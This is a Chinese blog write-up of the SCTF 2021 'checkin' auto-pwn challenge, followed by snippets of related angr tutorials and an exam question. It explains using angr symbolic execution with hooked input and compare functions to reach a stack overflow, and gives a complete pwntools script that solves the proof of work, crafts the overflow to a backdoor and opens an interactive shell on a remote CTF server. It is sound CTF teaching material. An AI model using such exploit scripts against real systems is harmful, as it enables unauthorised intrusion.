代码编织梦想

本篇直接以一个例子来进一步学习angr在CTF比赛中的实战

2021年SCTF上的checkin(虽然叫checkin但是并不是很checkin就是了)
这是一个auto pwn,每次连上去先进行一个sha256的验证,然后会给出一大段base64加密后的数据,接收下来然后解密并保存成二进制文件,是一个ELF格式的可执行程序,拖进ida里面会发现,程序逻辑很简单但是量很大,通过不断的读入字符串和数字,然后对数据进行异或,异或之后再和一些固定数据比较,根据比较结果进行跳转。并且每次连上去拿到的程序不一样,要求在120秒以内跑完(事实证明其实十秒以内就跑的完)。

这个题在最深的地方有一个栈溢出,并且给了后门函数,也就是说我们需要用自动化的工具先把能走到溢出点的输入数据给跑出来,然后栈溢出改返回地址就可以,angr就可以完美胜任这个自动化工具

大致来看看程序逻辑:

七八千行的伪代码,所以人工逆向是不要想了,不过好在它逻辑很简单,我们只需要hook四个函数,hook比较函数是因为它逐字节比较会导致路径爆炸,每比较一个字节都会分出两种状态,呈2的指数级增长,所以必须hook掉,然后就是两个输入函数,将两个输入函数输入的内容符号化然后存到state中,然后设置好约束,比如rip和rsp的值,因为要修改返回地址,所以rip最后一定指向ret指令,rsp则应该是后门函数。

设置好之后开始explore,跑到所需状态,把之前符号化的变量中把具体值提取出来,拼到一起,就是让程序执行到所需状态要输入的数据,拿到了以后直接发给远程,就可以打通了。

这里提一下,在hook地址的时候用的是Project.hook,但是如果要hook的函数被多次调用,则需要hook整个函数,要做的是定义一个这样的类:

class xxx(angr.SimProcedure):
    def run(self,arg···):
    	xxxx

run的参数和要hook的C语言的函数参数相同

比如本题在hook读入字符串函数的时候:

class ReplacementCheckInput(angr.SimProcedure):
    def run(self, buf, len):
        len = self.state.solver.eval(len)
        self.state.memory.store(buf, getBVV(self.state, len))

原函数是:
在这里插入图片描述

这里相当于getBVV符号化指定长度的符号然后存入对应地址(buf)中

在hook读入一个数字的时候则更为简单

class ReplacementInputVal(angr.SimProcedure):
    def run(self):
        self.state.regs.rax = getBVV(self.state, 4, 'int') 

因为读入数字的函数从调用者的角度来看,不过是把输入的东西解析成数字然后存到rax里,所以这里直接就是让rax等于一个符号化后的长度为4的符号即可。

最后来看看完整的脚本:

      
from pwn import *
import binascii
import angr
import claripy
import logging
import base64
l = logging.getLogger(name="angr")

def pass_proof(target, part):
    ll = string.printable
    for i in ll:
        for j in ll:
            for k in ll:
                for o in ll:
                    xxxx = i + j + k + o
                    if hashlib.sha256((xxxx + part).encode("ASCII")).hexdigest() == target:
                        return xxxx

r = remote("123.60.82.85", 1447)
print(r.recvline())
print(r.recvline())
print(r.recvline())
proof = r.recvline().decode("ASCII")
print(proof)
ppp = pass_proof(proof[proof.find("== ") + 3: -2], proof[len("sha256(xxxx + "): proof.find(") == ")])
r.sendlineafter(b"give me xxxx:", ppp.encode("ASCII"))
print(r.recvline())
bin_data = base64.b64decode(r.recvline().decode("ASCII"))
###########################################################################################################
open("a.out", "wb").write(bin_data)
ret_rop = bin_data.find(b'\xc3', 0x1000) + 0x400000
print("ret_rop:", hex(ret_rop))

p = angr.Project("./a.out")

def getBVV(state, sizeInBytes, type = 'str'):
    global pathConditions
    name = 's_' + str(state.globals['symbols_count'])
    bvs = claripy.BVS(name, sizeInBytes * 8)
    state.globals['symbols_count'] += 1
    state.globals[name] = (bvs, type)
    return bvs

def angr_load_str(state, addr):
    s, i = '', 0
    while True:
        ch = state.solver.eval(state.memory.load(addr + i, 1))
        if ch == 0: break
        s += chr(ch)
        i += 1
    return s

class ReplacementCheckEquals(angr.SimProcedure):
    def run(self, str1, str2):
        cmp1 = angr_load_str(self.state, str2).encode("ascii")
        cmp0 = self.state.memory.load(str1, len(cmp1))
        self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32))

class ReplacementCheckInput(angr.SimProcedure):
    def run(self, buf, len):
        len = self.state.solver.eval(len)
        self.state.memory.store(buf, getBVV(self.state, len))

class ReplacementInputVal(angr.SimProcedure):
    def run(self):
        self.state.regs.rax = getBVV(self.state, 4, 'int') 

class ReplacementInit(angr.SimProcedure):
    def run(self):
        return 

p.hook_symbol("_Z5fksthPKcS0_", ReplacementCheckEquals())
p.hook_symbol("_Z10input_linePcm", ReplacementCheckInput())
p.hook_symbol("_Z9input_valv", ReplacementInputVal())
p.hook_symbol("_Z4initv", ReplacementInit())
enter = p.factory.entry_state()
enter.globals['symbols_count'] = 0
simgr = p.factory.simgr(enter, save_unconstrained=True)
d = simgr.explore()
backdoor = p.loader.find_symbol('_Z8backdoorv').rebased_addr
for state in d.unconstrained:
    bindata = b''
    rsp = state.regs.rsp
    next_stack = state.memory.load(rsp, 8, endness=p.arch.memory_endness)
    state.add_constraints(state.regs.rip == ret_rop)
    state.add_constraints(next_stack == backdoor)
    for i in range(state.globals['symbols_count']):
        s, s_type = state.globals['s_' + str(i)]
        if s_type == 'str':
            bb = state.solver.eval(s, cast_to=bytes)
            if bb.count(b'\x00') == len(bb):
                bb = b'A' * bb.count(b'\x00')
            bindata += bb
        elif s_type == 'int':
            bindata += str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' '
    print(bindata)
    r.send(bindata)
    r.interactive()
    break

    
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_46483787/article/details/124706837

利用angr进行二进制静态分析_nku____的博客-爱代码爱编程

简介: angr是一个二进制代码分析工具,能够自动化完成二进制文件的分析,并找出漏洞。angr基于python,它将以前多种分析技术集成进来,­­­它能够进行动态的符号执行分析,也能够进行多种静态分析。本文以介绍angr的基本信息与静态分析二进制文件方法为主。 Angr的基本过程: (1)将二进制程序载入angr分析系统 (2)将二进制程序转换成中

180130 逆向-angr入门(1)_奈沙夜影的博客-爱代码爱编程

1625-5 王子昂 总结《2018年1月30日》 【连续第487天总结】 A. 蓝鲸whale-angr学习 B. Angr是一个多架构的动态符号执行的框架 符号执行就是将输入抽象成一个符号(而不是具体值),分析

180131 逆向-angr入门(2)_奈沙夜影的博客-爱代码爱编程

1625-5 王子昂 总结《2018年1月31日》 【连续第488天总结】 A. 蓝鲸whale-angr学习 B. 今天尝试了通过参数来传递输入的形式 之前没有控制参数,实际上是可以通过 import clari

Angr CTF 从入门到入门(1)-爱代码爱编程

angr是一个很厉害的二进制分析工具,能够实现很多自动化的逆向工作。最近正在学习,在看文档的时候发现了有个angrCTF的实战可以练习angr。 angrCTF:http://angr.oregonctf.org/ angr文档:https://docs.angr.io/ 这篇文章会是这个系列的第一篇文章。写这个系列也是因为我本身是逆向新手,

Angr CTF从入门到入门(2)-爱代码爱编程

这次讲的是angr CTF的03-07这五道题,主要是和符号化输入有关。 另外,还发现了一个大佬写的关于这方面的教程,贴在这里(因为我写的太垃圾了): https://github.com/ZERO-A-ONE/AngrCTF_FITM 文章目录 03_angr_symbolic_registers04_angr_symbolic_s

Angr CTF从入门到入门(3)-爱代码爱编程

这次的几道题主要是hook相关的,有些题目甚至不用去反汇编找地址,真是非常amazing!也说明angr这个工具真的很强。 另外,还发现了一个大佬写的关于这方面的教程,贴在这里(因为我写的太垃圾了): https://github.com/ZERO-A-ONE/AngrCTF_FITM 文章目录 08_angr_constraints

Angr CTF从入门到入门(4)-爱代码爱编程

终于做完了angrCTF的所有题目了。 感谢这两位大佬的博客和github https://ycdxsb.cn/ https://github.com/ZERO-A-ONE/AngrCTF_FITM 文章目录 15_angr_arbitrary_read16_angr_arbitrary_write17_angr_arbitrary_

angr 9二进制分析的常见问题集锦-爱代码爱编程

问题: 用angr的库函数识别api去分析blob的二进制文件,报错。 AttributeError: ‘SimOS’ object has no attribute ‘syscall_library’ 原因: angr库函数识别不支持非CGC的二进制文件。 参考链接: https://github.com/angr/angr/issues/2413

python Linux 二进制,【技术分享】angr:基于python的二进制分析框架-爱代码爱编程

预估稿费:200RMB(不服你也来投稿啊!) 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 0.前言 来看看这个集成框架在二进制代码分析的CTF中解决过哪些问题吧,下面是git中列举的解决过的CTF赛题: 其中,HackCon 2016 – angry-reverser花费31 min,SecurityFes

Angr入门(二)- 一些CTF的Angr分析-爱代码爱编程

Angr CTF 1 1. 00_angr_find不用angr的解法angr的解法2. 03_angr_symbolic_registers3. 04_angr_symbolic_stack4. 05_angr_symbolic_memory5. 06_angr_symbolic_dynamic_memory6. 07_angr_symbolic

2022年计算机软件水平考试信息安全工程师(中级)练习题及答案-爱代码爱编程

1、在云计算虚拟化应用中,VXLAN技术处于OS工网络模型中2-3层间,它综合了2层交换的简单性与3层路由的跨域连接性。它是通过在UDP/IP上封装Mac地址而实现这一点的。在简单应用场合,vxLAN可以让虚拟机在数据中心之间的迁移变得更为简单。该技术是哪个公司主推的技术(C) A.惠普 B.Juniper C.Cisco与Vmware D.博